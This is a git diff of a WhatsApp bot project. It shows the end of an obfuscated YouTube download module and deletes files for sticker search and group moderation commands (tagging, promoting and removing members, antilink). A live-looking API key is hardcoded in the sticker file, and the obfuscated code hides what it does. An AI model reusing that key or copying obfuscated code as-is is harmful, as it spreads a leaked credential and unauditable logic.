_0x7d583a[_0x411758(0x1d1)](_0x338b5b[_0x411758(0x24d)],-0x17fe+-0x26ec+-0x20e*-0x1f)&&_0x338b5b[_0x411758(0x1f0)]?_0x338b5b[_0x411758(0x23b)][_0x411758(0x1e4)+'rl']:null;}catch(_0x25ce99){return console[_0x411758(0x1e7)](_0x411758(0x236)+'('+_0x3d39bd+'):',_0x25ce99),null;}}function _0x5378(_0x3ae218,_0x586e7e){const _0x5963e6=_0x11c4();return _0x5378=function(_0x4cdbd7,_0x3de634){_0x4cdbd7=_0x4cdbd7-(-0x175f+-0x162a*0x1+-0x2c9*-0x11);let _0x34806=_0x5963e6[_0x4cdbd7];return _0x34806;},_0x5378(_0x3ae218,_0x586e7e);}adams({'nomCom':_0x4e99b5(0x1f9),'categorie':_0x4e99b5(0x222),'reaction':'🎥'},async(_0x41c5c8,_0x111b0b,_0x50bb2f)=>{const _0x1e9145=_0x4e99b5,_0x54292d={'eLsxA':function(_0x39e2ad,_0x191f49){return _0x39e2ad(_0x191f49);},'cXcFB':_0x1e9145(0x1d3)+_0x1e9145(0x1d8)+_0x1e9145(0x225)+'e.','RienA':function(_0x357db7,_0x15184e){return _0x357db7(_0x15184e);},'RxBtO':function(_0x59f2a6,_0x303d46){return _0x59f2a6(_0x303d46);},'wTRHI':function(_0x1ac9c8){return _0x1ac9c8();},'bvVvb':_0x1e9145(0x1d2)+_0x1e9145(0x229)+_0x1e9145(0x219)+_0x1e9145(0x228),'ypZhb':function(_0x2cd058,_0x34453c,_0xbb86a6){return _0x2cd058(_0x34453c,_0xbb86a6);},'dMKXN':_0x1e9145(0x1ff),'wqHea':_0x1e9145(0x212)+_0x1e9145(0x246)+_0x1e9145(0x247),'mnOWC':_0x1e9145(0x22b),'hMWQZ':_0x1e9145(0x1f5)+_0x1e9145(0x1f2)+_0x1e9145(0x208)},{ms:_0x126624,repondre:_0x461b92,arg:_0x3139bc}=_0x50bb2f;if(!_0x3139bc[-0x1*-0x40d+-0x1*0xe45+-0x147*-0x8])return _0x54292d[_0x1e9145(0x23e)](_0x461b92,_0x54292d[_0x1e9145(0x1fc)]);const _0x54ba1a=_0x54292d[_0x1e9145(0x23f)](startLoadingAnimation,_0x461b92),_0x308635=await _0x54292d[_0x1e9145(0x1ee)](searchYouTube,_0x3139bc[_0x1e9145(0x204)]('\x20'));_0x54292d[_0x1e9145(0x205)](_0x54ba1a);if(!_0x308635)return _0x54292d[_0x1e9145(0x23e)](_0x461b92,_0x54292d[_0x1e9145(0x1df)]);await _0x111b0b[_0x1e9145(0x22f)+'e'](_0x41c5c8,{'image':{'url':_0x308635[_0x1e9145(0x231)]},'caption':_0x1e9145(0x201)+_0x1e9145(0x1ef)+_0x308635[_0x1e9145(0x21f)]+_0x1e9145(0x1e0)+_0x308635[_0x1e9145(0x24b)][_0x1e9145(0x20f)]+_0x1e9145(0x1db)+_0x308635[_0x1e9145(0x221)]+(_0x1e9145(0x242)+_0x1e9145(0x206))},{'quoted':_0x126624});const _0x10795f=await _0x54292d[_0x1e9145(0x200)](downloadMedia,_0x308635[_0x1e9145(0x227)],_0x54292d[_0x1e9145(0x23d)]);if(!_0x10795f)return _0x54292d[_0x1e9145(0x23e)](_0x461b92,_0x54292d[_0x1e9145(0x1fe)]);await _0x111b0b[_0x1e9145(0x22f)+'e'](_0x41c5c8,{'video':{'url':_0x10795f},'mimetype':_0x54292d[_0x1e9145(0x1f1)]},{'quoted':_0x126624}),_0x54292d[_0x1e9145(0x23e)](_0x461b92,_0x54292d[_0x1e9145(0x226)]);}),adams({'nomCom':_0x4e99b5(0x1da),'categorie':_0x4e99b5(0x244),'reaction':'🎧'},async(_0x182fa4,_0x3f1305,_0x5fcb71)=>{const _0x4c755c=_0x4e99b5,_0x43b85f={'HJPwK':function(_0x165cca,_0x3bea69){return _0x165cca(_0x3bea69);},'Efehr':_0x4c755c(0x1d3)+_0x4c755c(0x1d8)+_0x4c755c(0x238),'jROqw':function(_0xa569f2,_0x22309f){return _0xa569f2(_0x22309f);},'EjJWt':function(_0xb38cc7){return _0xb38cc7();},'Qnrjd':function(_0x2db257,_0x1e92b0){return _0x2db257(_0x1e92b0);},'Ssxtz':_0x4c755c(0x1d9)+_0x4c755c(0x1e5)+_0x4c755c(0x21a)+_0x4c755c(0x218),'GoGbC':function(_0x2582cf,_0xa3801e,_0x3e33ee){return _0x2582cf(_0xa3801e,_0x3e33ee);},'IRELj':_0x4c755c(0x245),'OgIVC':function(_0x58b267,_0x201073){return _0x58b267(_0x201073);},'oCTga':_0x4c755c(0x212)+_0x4c755c(0x246)+_0x4c755c(0x21b),'MfUad':_0x4c755c(0x23c)},{ms:_0x18b892,repondre:_0x202fbc,arg:_0x2cb285}=_0x5fcb71;if(!_0x2cb285[0x2435+0x3*-0x68e+-0x181*0xb])return _0x43b85f[_0x4c755c(0x224)](_0x202fbc,_0x43b85f[_0x4c755c(0x24c)]);const _0x1d4c9f=_0x43b85f[_0x4c755c(0x215)](startLoadingAnimation,_0x202fbc),_0x32b82b=await _0x43b85f[_0x4c755c(0x215)](searchYouTube,_0x2cb285[_0x4c755c(0x204)]('\x20'));_0x43b85f[_0x4c755c(0x1f6)](_0x1d4c9f);if(!_0x32b82b)return _0x43b85f[_0x4c755c(0x210)](_0x202fbc,_0x43b85f[_0x4c755c(0x1dc)]);await _0x3f1305[_0x4c755c(0x22f)+'e'](_0x182fa4,{'image':{'url':_0x32b82b[_0x4c755c(0x231)]},'caption':_0x4c755c(0x230)+_0x4c755c(0x22a)+_0x4c755c(0x1d5)+_0x4c755c(0x23a)+_0x32b82b[_0x4c755c(0x221)]+(_0x4c755c(0x1ed)+_0x4c755c(0x21d))},{'quoted':_0x18b892});const _0x54f2d2=await _0x43b85f[_0x4c755c(0x223)](downloadMedia,_0x32b82b[_0x4c755c(0x227)],_0x43b85f[_0x4c755c(0x1ec)]);if(!_0x54f2d2)return _0x43b85f[_0x4c755c(0x1e9)](_0x202fbc,_0x43b85f[_0x4c755c(0x232)]);await _0x3f1305[_0x4c755c(0x22f)+'e'](_0x182fa4,{'audio':{'url':_0x54f2d2},'mimetype':_0x43b85f[_0x4c755c(0x1ea)]},{'quoted':_0x18b892}),_0x43b85f[_0x4c755c(0x215)](_0x202fbc,_0x4c755c(0x203)+_0x4c755c(0x1f5)+'\x20'+_0x32b82b[_0x4c755c(0x21f)]+(_0x4c755c(0x22c)+_0x4c755c(0x20c)));});
\ No newline at end of file
diff --git a/scs/bmwu.js b/scs/bmwu.js
deleted file mode 100644
index 66d99a2..0000000
--- a/scs/bmwu.js
+++ /dev/null
@@ -1,51 +0,0 @@
-const axios = require("axios");
-const { Sticker, StickerTypes } = require("wa-sticker-formatter");
-const {adams} = require("../Ibrahim/adams");
-
-adams({
- nomCom: "stickersearch",
- categorie: 'Search',
- reaction: "🍁"
-},
-async (dest, zk, commandeOptions) => {
- const { repondre, ms, arg, nomAuteurMessage } = commandeOptions;
-
- if (!arg[0]) {
- repondre("where is the request ? !");
- return;
- }
-
- const gifSearchTerm = arg.join(" ");
- const tenorApiKey = "AIzaSyCyouca1_KKy4W_MG1xsPzuku5oa8W358c"; // Remplacez par votre clé d'API Tenor
-
- try { for ( i = 0 ; i < 5 ; i++) {
- const gif = await axios.get(
- `https://tenor.googleapis.com/v2/search?q=${gifSearchTerm}&key=${tenorApiKey}&client_key=my_project&limit=8&media_filter=gif`
- );
-
- const gifUrl = gif.data.results[i].media_formats.gif.url;
-
-
-
-
-
-
- // Assurez-vous de remplacer les valeurs manquantes dans la création du sticker
- const packname = nomAuteurMessage; // Remplacez par le nom de votre pack de stickers
-
- const stickerMess = new Sticker(gifUrl, {
- pack: packname,
- author: 'BMW-MD',
- type: StickerTypes.FULL,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 60,
- background: "transparent",
- });
- const stickerBuffer2 = await stickerMess.toBuffer();
- zk.sendMessage(dest, { sticker: stickerBuffer2 }, { quoted: ms }); }
- } catch (error) {
- console.error("Erreur lors de la recherche de stickers :", error);
- repondre("Erreur lors de la recherche de stickers.");
- }
-});
diff --git a/scs/bmwue.js b/scs/bmwue.js
deleted file mode 100644
index 66cf6d3..0000000
--- a/scs/bmwue.js
+++ /dev/null
@@ -1,991 +0,0 @@
-
-
-const { adams } = require("../Ibrahim/adams")
-//const { getGroupe } = require("../bdd/groupe")
-const { Sticker, StickerTypes } = require('wa-sticker-formatter');
-const {ajouterOuMettreAJourJid,mettreAJourAction,verifierEtatJid} = require("../lib/antilien")
-const {atbajouterOuMettreAJourJid,atbverifierEtatJid} = require("../lib/antibot")
-const { search, download } = require("aptoide-scraper");
-const fs = require("fs-extra");
-const conf = require("../config");
-const { default: axios } = require('axios');
-//const { uploadImageToImgur } = require('../framework/imgur');
-
-
-
-
-
-
-adams({ nomCom: "tagall", categorie: 'Group', reaction: "📣" }, async (dest, zk, commandeOptions) => {
-
- const { ms, repondre, arg, verifGroupe, nomGroupe, infosGroupe, nomAuteurMessage, verifAdmin, superUser } = commandeOptions
-
-
-
-
- if (!verifGroupe) { repondre("✋🏿 ✋🏿this command is reserved for groups ❌"); return; }
- if (!arg || arg === ' ') {
- mess = 'Aucun Message'
- } else {
- mess = arg.join(' ')
- } ;
- let membresGroupe = verifGroupe ? await infosGroupe.participants : ""
- var tag = "";
- tag +=`
-
-╭─────────────━┈⊷
-│🔰 𝐁𝐌𝐖 𝐌𝐃 𝐓𝐀𝐆
-╰─────────────━┈⊷ \n
-│👥 *Group* : ${nomGroupe}
-│👤 *Hey😀* : *${nomAuteurMessage}*
-│📜 *Message* : *${mess}*
-╰─────────────━┈⊷\n
-\n
-
-` ;
-
-
-
-
- let emoji = ['🦴', '👀', '😮💨', '❌', '✔️', '😇', '⚙️', '🔧', '🎊', '😡', '🙏🏿', '⛔️', '$','😟','🥵','🐅']
- let random = Math.floor(Math.random() * (emoji.length - 1))
-
-
- for (const membre of membresGroupe) {
- tag += `${emoji[random]} @${membre.id.split("@")[0]}\n`
- }
-
-
- if (verifAdmin || superUser) {
-
- zk.sendMessage(dest, { text: tag, mentions: membresGroupe.map((i) => i.id) }, { quoted: ms })
-
- } else { repondre('command reserved for admins')}
-
-});
-
-
-adams({ nomCom: "link", categorie: 'Group', reaction: "🙋" }, async (dest, zk, commandeOptions) => {
- const { repondre, nomGroupe, nomAuteurMessage, verifGroupe } = commandeOptions;
- if (!verifGroupe) { repondre("wait bro , you want the link to my dm?"); return; };
-
-
- var link = await zk.groupInviteCode(dest)
- var lien = `https://chat.whatsapp.com/${link}`;
-
- let mess = `hello ${nomAuteurMessage} , here is the group link for ${nomGroupe} \n
-
-Group link :${lien} \n\n©𝐈𝐛𝐫𝐚𝐡𝐢𝐦 𝐀𝐝𝐚𝐦𝐬 𝐒𝐜𝐢𝐞𝐧𝐜𝐞`
- repondre(mess)
-
-
-});
-/** *nommer un membre comme admin */
-adams({ nomCom: "promote", categorie: 'Group', reaction: "👨🏿💼" }, async (dest, zk, commandeOptions) => {
- let { repondre, msgRepondu, infosGroupe, auteurMsgRepondu, verifGroupe, auteurMessage, superUser, idBot } = commandeOptions;
- let membresGroupe = verifGroupe ? await infosGroupe.participants : ""
- if (!verifGroupe) { return repondre("For groups only"); }
-
-
- const verifMember = (user) => {
-
- for (const m of membresGroupe) {
- if (m.id !== user) {
- continue;
- }
- else { return true }
- //membre=//(m.id==auteurMsgRepondu? return true) :false;
- }
- }
-
- const memberAdmin = (membresGroupe) => {
- let admin = [];
- for (m of membresGroupe) {
- if (m.admin == null) continue;
- admin.push(m.id);
-
- }
- // else{admin= false;}
- return admin;
- }
-
- const a = verifGroupe ? memberAdmin(membresGroupe) : '';
-
-
- let admin = verifGroupe ? a.includes(auteurMsgRepondu) : false;
- let membre = verifMember(auteurMsgRepondu)
- let autAdmin = verifGroupe ? a.includes(auteurMessage) : false;
- zkad = verifGroupe ? a.includes(idBot) : false;
- try {
- // repondre(verifZokouAdmin)
-
- if (autAdmin || superUser) {
- if (msgRepondu) {
- if (zkad) {
- if (membre) {
- if (admin == false) {
- var txt = `🎊🎊🎊 @${auteurMsgRepondu.split("@")[0]} rose in rank.\n
- he/she has been named group administrator.`
- await zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "promote");
- zk.sendMessage(dest, { text: txt, mentions: [auteurMsgRepondu] })
- } else { return repondre("This member is already an administrator of the group.") }
-
- } else { return repondre("This user is not part of the group."); }
- }
- else { return repondre("Sorry, I cannot perform this action because I am not an administrator of the group.") }
-
- } else { repondre("please tag the member to be nominated"); }
- } else { return repondre("Sorry I cannot perform this action because you are not an administrator of the group.") }
- } catch (e) { repondre("oups " + e) }
-
-})
-
-//fin nommer
-/** ***demettre */
-
-adams({ nomCom: "demote", categorie: 'Group', reaction: "👨🏿💼" }, async (dest, zk, commandeOptions) => {
- let { repondre, msgRepondu, infosGroupe, auteurMsgRepondu, verifGroupe, auteurMessage, superUser, idBot } = commandeOptions;
- let membresGroupe = verifGroupe ? await infosGroupe.participants : ""
- if (!verifGroupe) { return repondre("For groups only"); }
-
-
- const verifMember = (user) => {
-
- for (const m of membresGroupe) {
- if (m.id !== user) {
- continue;
- }
- else { return true }
- //membre=//(m.id==auteurMsgRepondu? return true) :false;
- }
- }
-
- const memberAdmin = (membresGroupe) => {
- let admin = [];
- for (m of membresGroupe) {
- if (m.admin == null) continue;
- admin.push(m.id);
-
- }
- // else{admin= false;}
- return admin;
- }
-
- const a = verifGroupe ? memberAdmin(membresGroupe) : '';
-
-
- let admin = verifGroupe ? a.includes(auteurMsgRepondu) : false;
- let membre = verifMember(auteurMsgRepondu)
- let autAdmin = verifGroupe ? a.includes(auteurMessage) : false;
- zkad = verifGroupe ? a.includes(idBot) : false;
- try {
- // repondre(verifZokouAdmin)
-
- if (autAdmin || superUser) {
- if (msgRepondu) {
- if (zkad) {
- if (membre) {
- if (admin == false) {
-
- repondre("This member is not a group administrator.")
-
- } else {
- var txt = `@${auteurMsgRepondu.split("@")[0]} was removed from his position as a group administrator\n`
- await zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "demote");
- zk.sendMessage(dest, { text: txt, mentions: [auteurMsgRepondu] })
- }
-
- } else { return repondre("This user is not part of the group."); }
- }
- else { return repondre("Sorry I cannot perform this action because I am not an administrator of the group.") }
-
- } else { repondre("please tag the member to be removed"); }
- } else { return repondre("Sorry I cannot perform this action because you are not an administrator of the group.") }
- } catch (e) { repondre("oups " + e) }
-
-})
-
-
-
-/** ***fin démettre**** **/
-/** **retirer** */
-adams({ nomCom: "remove", categorie: 'Group', reaction: "👨🏿💼" }, async (dest, zk, commandeOptions) => {
- let { repondre, msgRepondu, infosGroupe, auteurMsgRepondu, verifGroupe, nomAuteurMessage, auteurMessage, superUser, idBot } = commandeOptions;
- let membresGroupe = verifGroupe ? await infosGroupe.participants : ""
- if (!verifGroupe) { return repondre("for groups only"); }
-
-
- const verifMember = (user) => {
-
- for (const m of membresGroupe) {
- if (m.id !== user) {
- continue;
- }
- else { return true }
- //membre=//(m.id==auteurMsgRepondu? return true) :false;
- }
- }
-
- const memberAdmin = (membresGroupe) => {
- let admin = [];
- for (m of membresGroupe) {
- if (m.admin == null) continue;
- admin.push(m.id);
-
- }
- // else{admin= false;}
- return admin;
- }
-
- const a = verifGroupe ? memberAdmin(membresGroupe) : '';
-
-
- let admin = verifGroupe ? a.includes(auteurMsgRepondu) : false;
- let membre = verifMember(auteurMsgRepondu)
- let autAdmin = verifGroupe ? a.includes(auteurMessage) : false;
- zkad = verifGroupe ? a.includes(idBot) : false;
- try {
- // repondre(verifZokouAdmin)
-
- if (autAdmin || superUser) {
- if (msgRepondu) {
- if (zkad) {
- if (membre) {
- if (admin == false) {
- const gifLink = "https://raw.githubusercontent.com/djalega8000/Zokou-MD/main/media/remover.gif"
- var sticker = new Sticker(gifLink, {
- pack: 'Bmw-Md', // The pack name
- author: nomAuteurMessage, // The author name
- type: StickerTypes.FULL, // The sticker type
- categories: ['🤩', '🎉'], // The sticker category
- id: '12345', // The sticker id
- quality: 50, // The quality of the output file
- background: '#000000'
- });
-
- await sticker.toFile("st.webp")
- var txt = `@${auteurMsgRepondu.split("@")[0]} was removed from the group.\n`
- /* zk.sendMessage(dest, { sticker: fs.readFileSync("st.webp") }, { quoted: ms.message.extendedTextMessage.contextInfo.stanzaId})*/
- await zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "remove");
- zk.sendMessage(dest, { text: txt, mentions: [auteurMsgRepondu] })
-
- } else { repondre("This member cannot be removed because he is an administrator of the group.") }
-
- } else { return repondre("This user is not part of the group."); }
- }
- else { return repondre("Sorry, I cannot perform this action because I am not an administrator of the group.") }
-
- } else { repondre("please tag the member to be removed"); }
- } else { return repondre("Sorry I cannot perform this action because you are not an administrator of the group .") }
- } catch (e) { repondre("oups " + e) }
-
-})
-
-
-/** *****fin retirer */
-
-
-adams({ nomCom: "del", categorie: 'Group',reaction:"🧹" }, async (dest, zk, commandeOptions) => {
-
- const { ms, repondre, verifGroupe,auteurMsgRepondu,idBot, msgRepondu, verifAdmin, superUser} = commandeOptions;
-
- if (!msgRepondu) {
- repondre("Please mention the message to delete.");
- return;
- }
- if(superUser && auteurMsgRepondu==idBot )
- {
-
- if(auteurMsgRepondu==idBot)
- {
- const key={
- remoteJid:dest,
- fromMe: true,
- id: ms.message.extendedTextMessage.contextInfo.stanzaId,
- }
- await zk.sendMessage(dest,{delete:key});return;
- }
- }
-
- if(verifGroupe)
- {
- if(verifAdmin || superUser)
- {
-
- try{
-
-
- const key= {
- remoteJid : dest,
- id : ms.message.extendedTextMessage.contextInfo.stanzaId ,
- fromMe : false,
- participant : ms.message.extendedTextMessage.contextInfo.participant
-
- }
-
- await zk.sendMessage(dest,{delete:key});return;
-
- }catch(e){repondre( "I need admin rights.")}
-
-
- }else{repondre("Sorry, you are not an administrator of the group.")}
- }
-
-});
-
-adams({ nomCom: "info", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
- const { ms, repondre, verifGroupe } = commandeOptions;
- if (!verifGroupe) { repondre("order reserved for the group only"); return };
-
- try { ppgroup = await zk.profilePictureUrl(dest ,'image') ; } catch { ppgroup = conf.IMAGE_MENU}
-
- const info = await zk.groupMetadata(dest)
-
- /*console.log(metadata.id + ", title: " + metadata.subject + ", description: " + metadata.desc)*/
-
-
- let mess = {
- image: { url: ppgroup },
- caption: `*━━━━『Group Info』━━━━*\n\n*🎐Name:* ${info.subject}\n\n*🔩Group's ID:* ${dest}\n\n*🔍Desc:* \n\n${info.desc}`
- }
-
-
- zk.sendMessage(dest, mess, { quoted: ms })
- });
-
-
-
- //------------------------------------antilien-------------------------------
-
- adams({ nomCom: "antilink", categorie: 'Group', reaction: "🚫" }, async (dest, zk, commandeOptions) => {
-
-
- var { repondre, arg, verifGroupe, superUser, verifAdmin } = commandeOptions;
-
-
-
- if (!verifGroupe) {
- return repondre("*for groups only*");
- }
-
- if( superUser || verifAdmin) {
- const enetatoui = await verifierEtatJid(dest)
- try {
- if (!arg || !arg[0] || arg === ' ') { repondre("antilink on to activate the anti-link feature\nantilink off to deactivate the anti-link feature\nantilink action/remove to directly remove the link without notice\nantilink action/warn to give warnings\nantilink action/delete to remove the link without any sanctions\n\nPlease note that by default, the anti-link feature is set to delete.") ; return};
-
- if(arg[0] === 'on') {
-
-
- if(enetatoui ) { repondre("the antilink is already activated for this group")
- } else {
- await ajouterOuMettreAJourJid(dest,"oui");
-
- repondre("the antilink is activated successfully") }
-
- } else if (arg[0] === "off") {
-
- if (enetatoui) {
- await ajouterOuMettreAJourJid(dest , "non");
-
- repondre("The antilink has been successfully deactivated");
-
- } else {
- repondre("antilink is not activated for this group");
- }
- } else if (arg.join('').split("/")[0] === 'action') {
-
-
- let action = (arg.join('').split("/")[1]).toLowerCase() ;
-
- if ( action == 'remove' || action == 'warn' || action == 'delete' ) {
-
- await mettreAJourAction(dest,action);
-
- repondre(`The anti-link action has been updated to ${arg.join('').split("/")[1]}`);
-
- } else {
- repondre("The only actions available are warn, remove, and delete") ;
- }
-
-
- } else repondre("antilink on to activate the anti-link feature\nantilink off to deactivate the anti-link feature\nantilink action/remove to directly remove the link without notice\nantilink action/warn to give warnings\nantilink action/delete to remove the link without any sanctions\n\nPlease note that by default, the anti-link feature is set to delete.")
-
-
- } catch (error) {
- repondre(error)
- }
-
- } else { repondre('You are not entitled to this order') ;
- }
-
-});
-
-
-
-
- //------------------------------------antibot-------------------------------
-
- adams({ nomCom: "antibot", categorie: 'Group', reaction: "😬" }, async (dest, zk, commandeOptions) => {
-
-
- var { repondre, arg, verifGroupe, superUser, verifAdmin } = commandeOptions;
-
-
-
- if (!verifGroupe) {
- return repondre("*for groups only*");
- }
-
- if( superUser || verifAdmin) {
- const enetatoui = await atbverifierEtatJid(dest)
- try {
- if (!arg || !arg[0] || arg === ' ') { repondre('antibot on to activate the anti-bot feature\nantibot off to deactivate the antibot feature\nantibot action/remove to directly remove the bot without notice\nantibot action/warn to give warnings\nantilink action/delete to remove the bot message without any sanctions\n\nPlease note that by default, the anti-bot feature is set to delete.') ; return};
-
- if(arg[0] === 'on') {
-
-
- if(enetatoui ) { repondre("the antibot is already activated for this group")
- } else {
- await atbajouterOuMettreAJourJid(dest,"oui");
-
- repondre("the antibot is successfully activated") }
-
- } else if (arg[0] === "off") {
-
- if (enetatoui) {
- await atbajouterOuMettreAJourJid(dest , "non");
-
- repondre("The antibot has been successfully deactivated");
-
- } else {
- repondre("antibot is not activated for this group");
- }
- } else if (arg.join('').split("/")[0] === 'action') {
-
- let action = (arg.join('').split("/")[1]).toLowerCase() ;
-
- if ( action == 'remove' || action == 'warn' || action == 'delete' ) {
-
- await mettreAJourAction(dest,action);
-
- repondre(`The anti-bot action has been updated to ${arg.join('').split("/")[1]}`);
-
- } else {
- repondre("The only actions available are warn, remove, and delete") ;
- }
-
-
- } else {
- repondre('antibot on to activate the anti-bot feature\nantibot off to deactivate the antibot feature\nantibot action/remove to directly remove the bot without notice\nantibot action/warn to give warnings\nantilink action/delete to remove the bot message without any sanctions\n\nPlease note that by default, the anti-bot feature is set to delete.') ;
-
- }
- } catch (error) {
- repondre(error)
- }
-
- } else { repondre('You are not entitled to this order') ;
-
- }
-
-});
-
-//----------------------------------------------------------------------------
-
-adams({ nomCom: "group", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
-
- const { repondre, verifGroupe, verifAdmin, superUser, arg } = commandeOptions;
-
- if (!verifGroupe) { repondre("order reserved for group only"); return };
- if (superUser || verifAdmin) {
-
- if (!arg[0]) { repondre('Instructions:\n\nType group open or close'); return; }
- const option = arg.join(' ')
- switch (option) {
- case "open":
- await zk.groupSettingUpdate(dest, 'not_announcement')
- repondre('group open')
- break;
- case "close":
- await zk.groupSettingUpdate(dest, 'announcement');
- repondre('Group close successfully');
- break;
- default: repondre("Please don't invent an option")
- }
-
-
- } else {
- repondre("order reserved for the administratorr");
- return;
- }
-
-
-});
-
-adams({ nomCom: "left", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { repondre, verifGroupe, superUser } = commandeOptions;
- if (!verifGroupe) { repondre("order reserved for group only"); return };
- if (!superUser) {
- repondre("command reserved for the bot owner");
- return;
- }
- await repondre('sayonnara') ;
-
- zk.groupLeave(dest)
-});
-
-adams({ nomCom: "gname", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
-
- const { arg, repondre, verifAdmin } = commandeOptions;
-
- if (!verifAdmin) {
- repondre("order reserved for administrators of the group");
- return;
- };
- if (!arg[0]) {
- repondre("Please enter the group name");
- return;
- };
- const nom = arg.join(' ')
- await zk.groupUpdateSubject(dest, nom);
- repondre(`group name refresh: *${nom}*`)
-
-
-}) ;
-
-adams({ nomCom: "gdesc", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
-
- const { arg, repondre, verifAdmin } = commandeOptions;
-
- if (!verifAdmin) {
- repondre("order reserved for administrators of the group");
- return;
- };
- if (!arg[0]) {
- repondre("Please enter the group description");
- return;
- };
- const nom = arg.join(' ')
- await zk.groupUpdateDescription(dest, nom);
- repondre(`group description update: *${nom}*`)
-
-
-}) ;
-
-
-adams({ nomCom: "gpp", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
-
- const { repondre, msgRepondu, verifAdmin } = commandeOptions;
-
- if (!verifAdmin) {
- repondre("order reserved for administrators of the group");
- return;
- };
- if (msgRepondu.imageMessage) {
- const pp = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage) ;
-
- await zk.updateProfilePicture(dest, { url: pp })
- .then( () => {
- zk.sendMessage(dest,{text:"Group pfp changed"})
- fs.unlinkSync(pp)
- }).catch(() => zk.sendMessage(dest,{text:err})
-)
-
- } else {
- repondre('Please mention an image')
- }
-
-});
-
-/////////////
-adams({nomCom:"hidetag",categorie:'Group',reaction:"🎤"},async(dest,zk,commandeOptions)=>{
-
- const {repondre,msgRepondu,verifGroupe,arg ,verifAdmin , superUser}=commandeOptions;
-
- if(!verifGroupe) { repondre('This command is only allowed in groups.')} ;
- if (verifAdmin || superUser) {
-
- let metadata = await zk.groupMetadata(dest) ;
-
- //console.log(metadata.participants)
- let tag = [] ;
- for (const participant of metadata.participants ) {
-
- tag.push(participant.id) ;
- }
- //console.log(tag)
-
- if(msgRepondu) {
- console.log(msgRepondu)
- let msg ;
-
- if (msgRepondu.imageMessage) {
-
-
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage) ;
- // console.log(msgRepondu) ;
- msg = {
-
- image : { url : media } ,
- caption : msgRepondu.imageMessage.caption,
- mentions : tag
-
- }
-
-
- } else if (msgRepondu.videoMessage) {
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.videoMessage) ;
-
- msg = {
-
- video : { url : media } ,
- caption : msgRepondu.videoMessage.caption,
- mentions : tag
-
- }
-
- } else if (msgRepondu.audioMessage) {
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage) ;
-
- msg = {
-
- audio : { url : media } ,
- mimetype:'audio/mp4',
- mentions : tag
- }
-
- } else if (msgRepondu.stickerMessage) {
-
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.stickerMessage)
-
- let stickerMess = new Sticker(media, {
- pack: 'Bmw-mdtag',
- type: StickerTypes.CROPPED,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 70,
- background: "transparent",
- });
- const stickerBuffer2 = await stickerMess.toBuffer();
-
- msg = { sticker: stickerBuffer2 , mentions : tag}
-
-
- } else {
- msg = {
- text : msgRepondu.conversation,
- mentions : tag
- }
- }
-
- zk.sendMessage(dest,msg)
-
- } else {
-
- if(!arg || !arg[0]) { repondre('Enter the text to announce or mention the message to announce');
- ; return} ;
-
- zk.sendMessage(
- dest,
- {
- text : arg.join(' ') ,
- mentions : tag
- }
- )
- }
-
-} else {
- repondre('Command reserved for administrators.')
-}
-
-});
-
-
-adams({ nomCom: "apk", reaction: "✨", categorie: "Recherche" }, async (dest, zk, commandeOptions) => {
- const { repondre, arg, ms } = commandeOptions;
-
- try {
- const appName = arg.join(' ');
- if (!appName) {
- return repondre("*Enter the name of the application to search for*");
- }
-
- const searchResults = await search(appName);
-
- if (searchResults.length === 0) {
- return repondre("*can't find application, please enter another name*");
- }
-
- const appData = await download(searchResults[0].id);
- const fileSize = parseInt(appData.size);
-
- if (fileSize > 300) {
- return repondre("The file exceeds 300 MB, unable to download.");
- }
-
- const downloadLink = appData.dllink;
- const captionText =
- "『 *Bmw-Md Application* 』\n\n*Name :* " + appData.name +
- "\n*Id :* " + appData["package"] +
- "\n*Last Update :* " + appData.lastup +
- "\n*Size :* " + appData.size +
- "\n";
-
- const apkFileName = (appData?.["name"] || "Downloader") + ".apk";
- const filePath = apkFileName;
-
- const response = await axios.get(downloadLink, { 'responseType': "stream" });
- const fileWriter = fs.createWriteStream(filePath);
- response.data.pipe(fileWriter);
-
- await new Promise((resolve, reject) => {
- fileWriter.on('finish', resolve);
- fileWriter.on("error", reject);
- });
-
- const documentMessage = {
- 'document': fs.readFileSync(filePath),
- 'mimetype': 'application/vnd.android.package-archive',
- 'fileName': apkFileName
- };
-
- // Utilisation d'une seule méthode sendMessage pour envoyer l'image et le document
- zk.sendMessage(dest, { image: { url: appData.icon }, caption: captionText }, { quoted: ms });
- zk.sendMessage(dest, documentMessage, { quoted: ms });
-
- // Supprimer le fichier après envoi
- fs.unlinkSync(filePath);
- } catch (error) {
- console.error('Erreur lors du traitement de la commande apk:', error);
- repondre("*Error during apk command processing*");
- }
-});
-
-
-
-
-
-/******************************* automute && autoummute ***************************/
-
-const cron = require(`../lib/cron`) ;
-
-
-adams({
- nomCom : 'automute',
- categorie : 'Group'
- } , async (dest,zk,commandeOptions) => {
-
- const {arg , repondre , verifAdmin } = commandeOptions ;
-
- if (!verifAdmin) { repondre('You are not an administrator of the group') ; return}
-
- group_cron = await cron.getCronById(dest) ;
-
-
-
- if (!arg || arg.length == 0) {
-
- let state ;
- if (group_cron == null || group_cron.mute_at == null) {
-
- state = "No time set for automatic mute"
- } else {
-
- state = `The group will be muted at ${(group_cron.mute_at).split(':')[0]} ${(group_cron.mute_at).split(':')[1]}`
- }
-
- let msg = `* *State:* ${state}
- * *Instructions:* To activate automatic mute, add the minute and hour after the command separated by ':'
- Example automute 9:30
- * To delete the automatic mute, use the command *automute del*`
-
-
- repondre(msg) ;
- return ;
- } else {
-
- let texte = arg.join(' ')
-
- if (texte.toLowerCase() === `del` ) {
-
- if (group_cron == null) {
-
- repondre('No cronometrage is active') ;
- } else {
-
- await cron.delCron(dest) ;
-
- repondre("The automatic mute has been removed; restart to apply changes")
- .then(() => {
-
- exec("pm2 restart all");
- }) ;
- }
- } else if (texte.includes(':')) {
-
